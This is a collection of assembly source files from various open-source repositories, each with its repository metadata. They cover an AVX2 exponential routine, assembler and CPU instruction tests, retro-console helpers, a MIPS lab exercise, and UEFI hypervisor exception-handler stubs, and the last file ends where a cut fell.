src/isa/avx2/masm/vrda_exp_fma3.asm
|
HollowMan6/aocl-libm-ose
|
4033e022da428125747e118ccd6fdd9cee21c470
|
[
"BSD-3-Clause"
] | 8
|
2021-04-18T18:37:53.000Z
|
2022-03-11T12:49:31.000Z
|
src/isa/avx2/masm/vrda_exp_fma3.asm
|
HollowMan6/aocl-libm-ose
|
4033e022da428125747e118ccd6fdd9cee21c470
|
[
"BSD-3-Clause"
] | 8
|
2020-11-09T03:45:01.000Z
|
2021-11-08T02:25:31.000Z
|
;
; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification,
; are permitted provided that the following conditions are met:
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; 3. Neither the name of the copyright holder nor the names of its contributors
; may be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
include exp_tables.inc
include fm.inc
FN_PROTOTYPE_FMA3 vrda_exp
stack_size EQU 88h
save_rdi equ 20h
save_rsi equ 30h
save_xmm10 equ 40h
save_xmm9 equ 60h
text SEGMENT EXECUTE
PUBLIC fname
fname PROC FRAME
StackAllocate stack_size
SaveReg rdi,save_rdi
SaveReg rsi,save_rsi
SaveXmm xmm10,save_xmm10
SaveXmm xmm9,save_xmm9
.ENDPROLOG
mov rdi,rcx
mov rsi, rdx
mov rdx, r8
cmp edi,00h
jle L__return
cmp rsi,00h
je L__return
cmp rdx,00h
je L__return
ALIGN 16
L__process_next2:
sub rdi,02h
cmp rdi,-1
jle L__process_first1
movdqu xmm0,[rsi + rdi * 8]
jmp L__start
ALIGN 16
L__process_first1:
jl L__return ;even all,elements are processed rdi == -2
mov rcx,00h
movsd xmm0,QWORD PTR[rsi + rcx * 8]
ALIGN 16
L__start:
vmovdqa xmm10,xmm0 ; save for later use
; x * (64/ln(2))
vmulpd xmm3,xmm0,L__real_64_by_log2
; n = int( x * (64/ln(2)) )
vcvttpd2dq xmm4,xmm3 ;xmm4 = 0,0,(int)n1,(int)n0
vcvtdq2pd xmm3,xmm4 ;xmm3 = (double)n1,n0
vmovq rcx,xmm4 ;rcx = (int)n1,n0
; r1 = x - n * ln(2)/64 head
; r2 = - n * ln(2)/64 tail
; r = r1+r2
vmovdqa xmm2, xmm3
vfmadd132pd xmm2,xmm0,L__log2_by_64_mhead
vfmadd231pd xmm2,xmm3,L__log2_by_64_mtail ;xmm2 = r r_0,_1
;j = n & 03fh
mov rax,00000003f0000003fh
and rax,rcx ;rax = j1,j0
mov ecx,eax ;rcx = j0
shr rax,32 ;rax = j1
; m = (n - j) / 64
vpsrad xmm5,xmm4,6 ;xmm5 = 0,0,m m0,1
; q = r + r^2*1/2 + r^3*1/6 + r^4 *1/24 + r^5*1/120 + r^6*1/720
; q = r + r*r*(1/2 + r*(1/6+ r*(1/24 + r*(1/120 + r*(1/720)))))
vmovapd xmm3,L__real_1_by_720
vfmadd213pd xmm3 ,xmm2,L__real_1_by_120
vfmadd213pd xmm3 ,xmm2,L__real_1_by_24
vfmadd213pd xmm3 ,xmm2,L__real_1_by_6
vfmadd213pd xmm3 ,xmm2,L__real_1_by_2
vmulpd xmm0,xmm2,xmm2
vfmadd213pd xmm0,xmm3,xmm2
; (f)*(q) + f2 + f1
lea r9,L__two_to_jby64_table
lea r11,L__two_to_jby64_tail_table
lea r10,L__two_to_jby64_head_table
vmovsd xmm2,QWORD PTR[r9 + rcx * 8]
vmovhpd xmm1,xmm2,QWORD PTR[r9 + rax * 8] ;xmm1 = f f_0,_1
vmovsd xmm2,QWORD PTR[r11 + rcx * 8]
vmovhpd xmm3,xmm2,QWORD PTR[r11 + rax * 8] ;xmm3 = f2 f2_0,_1
vmovsd xmm4,QWORD PTR[r10 + rcx * 8]
vmovhpd xmm2,xmm4,QWORD PTR[r10 + rax * 8] ;xmm2 = f1 f1_0,_1
vfmadd231pd xmm3,xmm0,xmm1 ;xmm4 = f*q + f2
vaddpd xmm0,xmm2,xmm3
; normal results
vpmovsxdq xmm4,xmm5 ;xmm4 = m1,m0
vpsllq xmm5,xmm4,52 ;xmm5 = 2^m 2,1^m0
vpaddq xmm1,xmm0,xmm5 ;xmm1 = normal results
;check and process denormals
vcmppd xmm3 ,xmm0,L__real_one,1 ;check e^r < 1
vpcmpeqq xmm2,xmm5,XMMWORD PTR L__m1022 ;check m == -1022
vpand xmm3,xmm3,xmm2 ;xmm3 = ( e^r < 1 and m = -1022 )
vmovdqa xmm2, XMMWORD PTR L__m1022
vpcmpgtq xmm2,xmm2,xmm5 ;check m < -1022
vpor xmm2,xmm2,xmm3 ;xmm2 = mask for inputs requiring denormal processing
vpmovmskb eax,xmm2
cmp eax,0
je L__check_min ;jmp to avoid any accidental intermediate denormal results
vpaddq xmm3,xmm4,L__ulong_1074 ;xmm3 = 1074 + m
vunpckhpd xmm9,xmm3,xmm3 ;store high to xmm9
vmovdqa xmm5,XMMWORD PTR L__ulong_1
vpsllq xmm4,xmm5,xmm3
vpsllq xmm9,xmm5,xmm9
vunpcklpd xmm4,xmm4,xmm9
vmulpd xmm3,xmm0,xmm4 ;xmm3 = results for denormal numbers
;vpcmov xmm1 ,xmm3,xmm1,xmm2
VANDNPD xmm9 , xmm2, xmm1
VANDPD xmm1 , xmm3, xmm2
VORPD xmm1 , xmm1, xmm9
L__check_min:
;;special case for any x < min remove,_exp_arg this code if the above code takes care of this
vcmppd xmm2 ,xmm10,L__min_exp_arg,2 ;cmp x<= min_exp_arg
vpxor xmm4,xmm3,xmm3 ;make zeros to put in place of x<= min_exp_arg
;vpcmov xmm1 ,xmm4,xmm1,xmm2 ;put zeros in place of any x <= min_exp_arg
VANDNPD xmm9 , xmm2, xmm1
VANDPD xmm1 , xmm4, xmm2
VORPD xmm1 , xmm1, xmm9
vcmppd xmm3 ,xmm10,L__denormal_tiny_threshold,2
vpandn xmm4,xmm2,xmm3
vmovdqa xmm2,XMMWORD PTR L__real_smallest_denormal
;vpcmov xmm1 ,xmm2,xmm1,xmm4 ;xmm1 = normal results
VANDNPD xmm9, xmm4, xmm1
VANDPD xmm1, xmm2, xmm4
VORPD xmm1, xmm1, xmm9
;;special case for any x > max remove,_exp_arg this code if the above code takes care of this
vcmppd xmm2 ,xmm10,L__max_exp_arg,1 ;cmp x < max_exp_arg
vmovdqa xmm3,XMMWORD PTR L__real_inf ;inf to put in place of any x >= max_exp_arg
;vpcmov xmm1 ,xmm1,xmm3,xmm2 ;xmm1 = normal results
VANDNPD xmm9 , xmm2, xmm3
VANDPD xmm1 , xmm1, xmm2
VORPD xmm1 , xmm1, xmm9
;;special case for any x = na remove,n this code if the above code takes care of this
vcmppd xmm2 ,xmm10,xmm10,00h
vaddpd xmm3,xmm10,xmm10 ;make qnan to put in place of any x =nan
;vpcmov xmm0 ,xmm1,xmm3,xmm2 ;xmm0 = normal results
VANDNPD xmm9, xmm2, xmm3
VANDPD xmm0, xmm1, xmm2
VORPD xmm0, xmm0, xmm9
cmp rdi,-1
je L__store1
movdqu [rdx + rdi * 8],xmm0
jmp L__process_next2
ALIGN 16
L__store1:
inc rdi
movsd QWORD PTR[rdx + rdi * 8],xmm0
L__return:
RestoreXmm xmm9, save_xmm9
RestoreXmm xmm10, save_xmm10
RestoreReg rsi,save_rsi
RestoreReg rdi,save_rdi
StackDeallocate stack_size
ret
fname endp
TEXT ENDS
data SEGMENT READ PAGE
ALIGN 16
L__max_exp_arg DQ 040862e42fefa39f0h, 040862e42fefa39f0h ;40862e42fefa39ef40862e42fefa39ef
L__denormal_tiny_threshold DQ 0c0874046dfefd9d0h, 0c0874046dfefd9d0h
L__min_exp_arg DQ 0c0874910d52d3051h, 0c0874910d52d3051h
L__real_64_by_log2 DQ 040571547652b82feh, 040571547652b82feh ; 64/ln(2)
L__log2_by_64_mhead DQ 0bf862e42fefa0000h, 0bf862e42fefa0000h
L__log2_by_64_mtail DQ 0bd1cf79abc9e3b39h, 0bd1cf79abc9e3b39h
L__real_one DQ 03ff0000000000000h, 03ff0000000000000h
L__real_smallest_denormal DQ 00000000000000001h, 00000000000000001h
L__real_inf DQ 07ff0000000000000h, 07ff0000000000000h
L__m1022 DQ 0c020000000000000h, 0c020000000000000h
L__ulong_1074 DQ 00000000000000432h, 00000000000000432h
L__ulong_1 DQ 00000000000000001h, 00000000000000001h
data ENDS
END
| 33.676991
| 95
| 0.718828
|
66a46f8f277fb0e5d525b2170c3cf55e2de87b89
| 504
|
asm
|
Assembly
|
src/third_party/nasm/test/br3005117.asm
|
Mr-Sheep/naiveproxy
|
9f6e9768295f6d1d41517a15a621d4756bd7d6be
|
[
"BSD-3-Clause"
] | 2,219
|
2018-03-26T02:57:34.000Z
|
2022-03-31T00:27:59.000Z
|
src/third_party/nasm/test/br3005117.asm
|
Mr-Sheep/naiveproxy
|
9f6e9768295f6d1d41517a15a621d4756bd7d6be
|
[
"BSD-3-Clause"
] | 395
|
2020-04-18T08:22:18.000Z
|
2021-12-08T13:04:49.000Z
|
src/third_party/nasm/test/br3005117.asm
|
Mr-Sheep/naiveproxy
|
9f6e9768295f6d1d41517a15a621d4756bd7d6be
|
[
"BSD-3-Clause"
] | 473
|
2019-03-24T16:34:23.000Z
|
2022-03-31T02:01:05.000Z
|
;Testname=br3005117; Arguments=-Ox -felf -obr3005117.o; Files=stdout stderr br3005117.o
%macro B_STRUC 1-*
%push foo
%define %$strucname %1
%%top_%$strucname:
%rep %0 - 1
%rotate 1
resb %{$strucname}%1 - ($ - %%top_%$strucname)
%1:
%endrep
resb %{$strucname}_size - ($ - %%top_%$strucname)
%pop
%endmacro
struc timeval
.tv_sec resd 1
.tv_usec resd 1
endstruc
mov [timeval_struct.tv_sec], eax
section .bss
timeval_struct B_STRUC timeval, .tv_sec, .tv_usec
timeval_struct_len equ $ - timeval_struct
| 18.666667
| 87
| 0.718254
|
1020548e15e2676db143629259bf179cd4d7c392
| 566
|
asm
|
Assembly
|
libsrc/target/sms/read_joypad1.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 1
|
2022-03-08T11:55:58.000Z
|
2022-03-08T11:55:58.000Z
|
libsrc/target/sms/read_joypad1.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
libsrc/target/sms/read_joypad1.asm
|
jorgegv/z88dk
|
127130cf11f9ff268ba53e308138b12d2b9be90a
|
[
"ClArtistic"
] | null | null | null |
SECTION code_clib
PUBLIC read_joypad1
PUBLIC _read_joypad1
;==============================================================
; int read_joypad1()
;==============================================================
; Reads the joystick 1
;==============================================================
read_joypad1:
_read_joypad1:
in a, ($dc) ; Reads joystick 1
cpl ; Inverts all bits
ld h, 0
ld l, a ; Puts the result in HL
ret
| 33.294118
| 63
| 0.30742
|
42c692b118032ac7a608d8f10ba1a912c3243bd1
| 2,874
|
asm
|
Assembly
|
asm/jmp_test_i7.asm
|
yoshiki9636/my-riscv-rv32i
|
f2a48443051d68c4b5d74b3442226a20ddfe41b0
|
[
"MIT"
] | 1
|
2021-08-17T04:29:30.000Z
|
2021-08-17T04:29:30.000Z
|
asm/jmp_test_i7.asm
|
yoshiki9636/my-riscv-rv32i
|
f2a48443051d68c4b5d74b3442226a20ddfe41b0
|
[
"MIT"
] | null | null | null |
asm/jmp_test_i7.asm
|
yoshiki9636/my-riscv-rv32i
|
f2a48443051d68c4b5d74b3442226a20ddfe41b0
|
[
"MIT"
] | null | null | null |
;*
;* My RISC-V RV32I CPU
;* Test Code Jump Instructions : No.7
;* RV32I code
;* @auther Yoshiki Kurokawa <yoshiki.k963@gmail.com>
;* @copylight 2021 Yoshiki Kurokawa
;* @license https://opensource.org/licenses/MIT MIT license
;* @version 0.1
;*
:zero
nop
nop
; clear LED to black
addi x1, x0, 7 ; LED value
lui x2, 0xc0000 ; LED address
sb x1, 0x0(x2) ; set LED
; test jal
:fail_test1
jal x3, ok_test1
jal x4, fail_test1
jal x4, fail_test1
jal x4, fail_test1
:ok_test1
jal x3, ok2_test1
jal x4, fail_test1
:ok2_test1
ori x5, x0, 40
bne x3, x5, fail_test1
; next value
addi x1, x0, 6 ; LED value
sb x1, 0x0(x2) ; set LED
; test jalr
:fail_test2
jalr x3, x0, ok_test2
jalr x3, x0, ok2_test2
jal x4, fail_test2
jal x4, fail_test2
:ok_test2
jalr x3, x3, zero
jal x4, fail_test2
:ok2_test2
ori x5, x0, 0x44
bne x3, x5, fail_test2
; next value
addi x1, x0, 5 ; LED value
sb x1, 0x0(x2) ; set LED
; test beq
:fail_test3
ori x6, x0, 5
ori x7, x0, 4
ori x8, x0, 5
ori x9, x0, 6
beq x6, x7, fail_test3
beq x6, x9, fail_test3
beq x6, x8, ok_test3
jal x4, fail_test3
:ok_test3
; next value
addi x1, x0, 4 ; LED value
sb x1, 0x0(x2) ; set LED
; test bne
:fail_test4
ori x6, x0, 5
ori x7, x0, 4
ori x8, x0, 5
ori x9, x0, 6
bne x6, x8, fail_test4
bne x6, x7, ok_test4
jal x4, fail_test4
:ok_test4
bne x6, x9, ok2_test4
jal x4, fail_test4
:ok2_test4
; next value
addi x1, x0, 3 ; LED value
sb x1, 0x0(x2) ; set LED
; test blt
:fail_test5
ori x6, x0, 5
lui x7, 0xfffff
ori x7, x7, 0xfff
ori x8, x0, 5
ori x9, x0, 6
blt x6, x7, fail_test5
blt x6, x8, fail_test5
blt x6, x9, ok_test5
jal x4, fail_test5
:ok_test5
; next value
addi x1, x0, 2 ; LED value
sb x1, 0x0(x2) ; set LED
; test bge
:fail_test6
ori x6, x0, 5
lui x7, 0xfffff
ori x7, x7, 0xfff
ori x8, x0, 5
ori x9, x0, 6
bge x6, x9, fail_test6
bge x6, x7, ok_test6
jal x4, fail_test6
:ok_test6
bge x6, x8, ok2_test6
jal x4, fail_test6
:ok2_test6
; next value
addi x1, x0, 1 ; LED value
sb x1, 0x0(x2) ; set LED
; test bltu
:fail_test7
ori x6, x0, 5
lui x7, 0xfffff
ori x7, x7, 0xfff
ori x8, x0, 5
ori x9, x0, 6
ori x10, x0, 4
bltu x6, x10, fail_test7
bltu x6, x8, fail_test7
bltu x6, x9, ok_test7
jal x4, fail_test7
:ok_test7
bltu x6, x7, ok2_test7
jal x4, fail_test7
:ok2_test7
; next value
addi x1, x0, 0 ; LED value
sb x1, 0x0(x2) ; set LED
; test bgeu
:fail_test8
ori x6, x0, 5
ori x7, x0, 4
ori x8, x0, 5
ori x9, x0, 6
lui x10, 0xfffff
ori x10, x10, 0xfff
bgeu x6, x9, fail_test8
bgeu x6, x10, fail_test8
bgeu x6, x7, ok_test8
jal x4, fail_test8
:ok_test8
bgeu x6, x8, ok2_test8
jal x4, fail_test8
:ok2_test8
; test finished
nop
nop
lui x2, 01000 ; loop max
;ori x2, x0, 10
and x3, x0, x3 ; LED value
and x4, x0, x4 ;
lui x4, 0xc0000 ; LED address
:label_led
and x1, x0, x1 ; loop counter
:label_waitloop
addi x1, x1, 1
blt x1, x2, label_waitloop
addi x3, x3, 1
sb x3, 0x0(x4)
jalr x0, x0, label_led
nop
nop
nop
nop
| 17.418182
| 64
| 0.695894
|
360c3135dda464161035e7d2c590eaf40287e60b
| 745
|
asm
|
Assembly
|
oeis/230/A230096.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/230/A230096.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/230/A230096.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A230096: Number of tilings of an n X 1 rectangle (using tiles of dimension 1 X 1 and 2 X 1) that share no tile at the same position with their mirrored image.
; 1,0,0,2,2,2,2,6,6,10,10,22,22,42,42,86,86,170,170,342,342,682,682,1366,1366,2730,2730,5462,5462,10922,10922,21846,21846,43690,43690,87382,87382,174762,174762,349526,349526,699050,699050,1398102,1398102,2796202,2796202,5592406,5592406,11184810,11184810,22369622,22369622,44739242,44739242,89478486,89478486,178956970,178956970,357913942,357913942,715827882,715827882,1431655766,1431655766,2863311530,2863311530,5726623062,5726623062,11453246122,11453246122,22906492246,22906492246,45812984490
mov $3,1
lpb $0
trn $0,2
mov $2,$3
add $2,$3
mov $3,$1
add $1,$2
lpe
mov $0,$3
| 57.307692
| 493
| 0.781208
|
61703ea468e5de21cbe3899911d6d5e3dba23e08
| 525
|
asm
|
Assembly
|
lab_mips.asm
|
jacobbieker/CIS314_Lab_1
|
12e738aae7310ea797df2aebb676c1fda8922a46
|
[
"MIT"
] | null | null | null |
lab_mips.asm
|
jacobbieker/CIS314_Lab_1
|
12e738aae7310ea797df2aebb676c1fda8922a46
|
[
"MIT"
] | null | null | null |
lab_mips.asm
|
jacobbieker/CIS314_Lab_1
|
12e738aae7310ea797df2aebb676c1fda8922a46
|
[
"MIT"
] | null | null | null |
.data
my_array .word 3, 4573, 531, 35, 6, 6354, 3, 81 #Array
array_size .word 8
largest .word 0
lw $t0, #Array
lw $t1, #Array_Size
lw $t2, #Largest
loopy: bgt $t0, $zero, then
# Else block
j end
then:
mult $t3, 4, $t1 #Get the current array spot
bgt $t2, $t3
sw $t2, $t3
sub $t1, 1 # Decrement the counter
mult $t0, 4 # Add offset for array, to continue loop
j loopy
end:
#Return 0 or equiv
| 23.863636
| 64
| 0.504762
|
0b02f65f7663357c19dc09c5b516be8d9160d2e6
| 274
|
asm
|
Assembly
|
libsrc/stdio/ansi/z1013/f_ansi_bel.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/stdio/ansi/z1013/f_ansi_bel.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/stdio/ansi/z1013/f_ansi_bel.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; ANSI Video handling for the Robotron Z1013
;
; BEL - chr(7) Beep it out
;
;
; Stefano Bodrato - Aug 2016
;
;
; $Id: f_ansi_bel.asm,v 1.1 2016-08-05 07:04:10 stefano Exp $
;
SECTION code_clib
PUBLIC ansi_BEL
; No sound, for now!
.ansi_BEL
ret
| 11.913043
| 61
| 0.616788
|
40b841d69d09a7fe583e6fbf7ac5f3db717e1043
| 357
|
asm
|
Assembly
|
Script/9.asm
|
santo6774/CSE331L_Section_7_Summer20_NSU_Final
|
c7030782de38725e0167972699d6de85f75bddcc
|
[
"MIT"
] | null | null | null |
Script/9.asm
|
santo6774/CSE331L_Section_7_Summer20_NSU_Final
|
c7030782de38725e0167972699d6de85f75bddcc
|
[
"MIT"
] | null | null | null |
Script/9.asm
|
santo6774/CSE331L_Section_7_Summer20_NSU_Final
|
c7030782de38725e0167972699d6de85f75bddcc
|
[
"MIT"
] | null | null | null |
DATA SEGMENT
NUM1 DW 6
NUM2 DW 8
HCF DW ?
LCM DW ?
ENDS
CODE SEGMENT
ASSUME DS:DATA CS:CODE
START:
MOV AX,DATA
MOV DS,AX
MOV AX,NUM1
MOV BX,NUM2
WHILE:MOV DX,0
MOV CX,BX
DIV BX
MOV BX,DX
MOV AX,CX
CMP BX,0
JNE WHILE
MOV HCF,AX
MOV CX,AX
MOV AX,NUM1
MOV BX,NUM2
MUL BX
DIV CX
MOV LCM,AX
MOV AH,4CH
INT 21H
ENDS
END START
| 10.2
| 23
| 0.658263
|
35e7ed08ec08f7ea4826f150ad6636439ee8d9fb
| 1,173
|
asm
|
Assembly
|
programs/oeis/075/A075427.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/075/A075427.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/075/A075427.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A075427: a(0) = 1; a(n) = if n is even then a(n-1)+1 else 2*a(n-1).
; 1,2,3,6,7,14,15,30,31,62,63,126,127,254,255,510,511,1022,1023,2046,2047,4094,4095,8190,8191,16382,16383,32766,32767,65534,65535,131070,131071,262142,262143,524286,524287,1048574,1048575,2097150,2097151,4194302,4194303,8388606,8388607,16777214,16777215,33554430,33554431,67108862,67108863,134217726,134217727,268435454,268435455,536870910,536870911,1073741822,1073741823,2147483646,2147483647,4294967294,4294967295,8589934590,8589934591,17179869182,17179869183,34359738366,34359738367,68719476734,68719476735,137438953470,137438953471,274877906942,274877906943,549755813886,549755813887,1099511627774,1099511627775,2199023255550,2199023255551,4398046511102,4398046511103,8796093022206,8796093022207,17592186044414,17592186044415,35184372088830,35184372088831,70368744177662,70368744177663,140737488355326,140737488355327,281474976710654,281474976710655,562949953421310,562949953421311,1125899906842622,1125899906842623,2251799813685246,2251799813685247,4503599627370494,4503599627370495,9007199254740990,9007199254740991
mov $1,1
mov $2,$0
add $2,3
lpb $2
mul $1,2
sub $2,2
lpe
add $1,$2
sub $1,2
| 90.230769
| 1,021
| 0.8474
|
f9ef6cc5085d46b79ed618970c24d3733569c787
| 666
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | 1
|
2019-12-03T23:57:48.000Z
|
2019-12-03T23:57:48.000Z
|
; int posix_memalign_callee(void **memptr, size_t alignment, size_t size)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _posix_memalign_callee
EXTERN asm_posix_memalign
_posix_memalign:
pop hl
pop de
pop bc
ex (sp),hl
jp asm_posix_memalign
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _posix_memalign_callee
EXTERN _posix_memalign_unlocked_callee
defc _posix_memalign_callee = _posix_memalign_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 17.076923
| 73
| 0.573574
|
b1d087d2399192e321a318eedccdfd33309e4d1b
| 3,028
|
asm
|
Assembly
|
Drivers/HelloAmdHvDxe/X64/ExceptionHandlers.asm
|
morelli690/HelloAmdHvPkg
|
75b87f0912deb903d02ae847b9e96dbbb471dc5b
|
[
"MIT"
] | 63
|
2020-06-24T16:17:47.000Z
|
2022-01-18T07:21:19.000Z
|
Drivers/HelloAmdHvDxe/X64/ExceptionHandlers.asm
|
morelli690/HelloAmdHvPkg
|
75b87f0912deb903d02ae847b9e96dbbb471dc5b
|
[
"MIT"
] | 1
|
2020-06-28T00:56:56.000Z
|
2020-06-28T00:56:56.000Z
|
Drivers/HelloAmdHvDxe/X64/ExceptionHandlers.asm
|
tandasat/HelloAmdHvPkg
|
75b87f0912deb903d02ae847b9e96dbbb471dc5b
|
[
"MIT"
] | 14
|
2020-06-24T19:34:26.000Z
|
2021-07-03T20:24:24.000Z
|
;
; @file ExceptionHandlers.asm
;
; @brief Exception handlers for the host.
;
; @author Satoshi Tanda
;
; @copyright Copyright (c) 2020 - , Satoshi Tanda. All rights reserved.
;
include Macros.inc
.code
extern HandleHostException : proc
;
; The index to track an interrupt number for generating AsmDefaultExceptionHandlers.
;
Index = 0
;
; Generates the default exception handler code for the given interrupt/exception
; number. The generated code assumes that the interrupt/exception does not push
; error code.
;
; Index is incremented whenever this macro is used.
;
INTERRUPT_HANDLER macro InterruptNumber
;
; Push dummy error code for consistent stack layout.
;
push 0
push InterruptNumber
jmp AsmCommonExceptionHandler
Index = Index + 1
endm
;
; Generates the default exception handler code for the given interrupt/exception
; number. The generated code assumes that the interrupt/exception pushes error code.
;
; Index is incremented whenever this macro is used.
;
INTERRUPT_HANDLER_WITH_CODE macro InterruptNumber
;
; Error code is expected to be pushed by the processor.
;
nop
nop
push InterruptNumber
jmp AsmCommonExceptionHandler
Index = Index + 1
endm
;
; @brief The default host exception handlers.
;
; @details This is the function containing actually 256 stub functions generated
; with the INTERRUPT_HANDLER and INTERRUPT_HANDLER_WITH_CODE macros. Each function
; works as a handler of the corresponding interrupt/exception in the host.
;
AsmDefaultExceptionHandlers proc
;
; INT0-7
;
repeat 8
INTERRUPT_HANDLER Index
endm
;
; INT8, INT9
;
INTERRUPT_HANDLER_WITH_CODE Index
INTERRUPT_HANDLER Index
;
; INT10-14
;
repeat 5
INTERRUPT_HANDLER_WITH_CODE Index
endm
;
; INT15-16
;
repeat 2
INTERRUPT_HANDLER Index
endm
;
; INT17
;
INTERRUPT_HANDLER_WITH_CODE Index
;
; INT18-255
;
repeat 238
INTERRUPT_HANDLER Index
endm
AsmDefaultExceptionHandlers endp
;
; @brief The common logic for the exception handlers.
;
; @details This function pushes register values into the stack and calls the
; high-level handler written in C.
;
AsmCommonExceptionHandler proc
PUSH_GPRS
mov rcx, rsp
mov r15, rsp
and rsp, 0fffffffffffffff0h
PUSH_XMM
;
;
;
sub rsp, 20h
call HandleHostException
add rsp, 20h
;
;
;
POP_XMM
mov rsp, r15
POP_GPRS
;
; Remove the error code and interrupt number.
;
add rsp, 10h
iretq
AsmCommonExceptionHandler endp
end
| 22.10219
| 84
| 0.610964
|
af045c91d9455d087aa4a6ecf11af73ed710e33b
| 3,275
|
asm
|
Assembly
|
malban/Release/VRelease/Release.History/VRelease_2017_03_01/objects.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | 5
|
2018-01-14T10:03:50.000Z
|
2020-01-17T13:53:49.000Z
|
malban/Release/VRelease/Release.History/VRelease_2017_03_01/objects.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | null | null | null |
malban/Release/VRelease/Release.History/VRelease_2017_03_01/objects.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | null | null | null |
; all behaviour routines leave
; with u pointed to the next object structure (or 0)
; GENERAL Object functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; also move objects, moving for "normal" enemies "X" is decrease of scale
do_objects
ldu list_objects_head
beq do_done
do_next:
; object lists are nicely ordered, so we start at the beginning
jsr [BEHAVIOUR,u]
cmpu #0
bne do_next
do_done:
rts
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SET_U_FREE macro
; set u free, as new free head
ldy list_empty_head
sty NEXT_OBJECT,u
stu list_empty_head
leau ,x
puls x, y
endm
; in u pointer to the object that must be removed
; destroys x, y
; sets u to pointer of next object in linked list (or 0)
removeObject: ;#isfunction
pshs x, y
ldx NEXT_OBJECT,u
beq was_last_re
ldy PREVIOUS_OBJECT,u
beq was_first_re
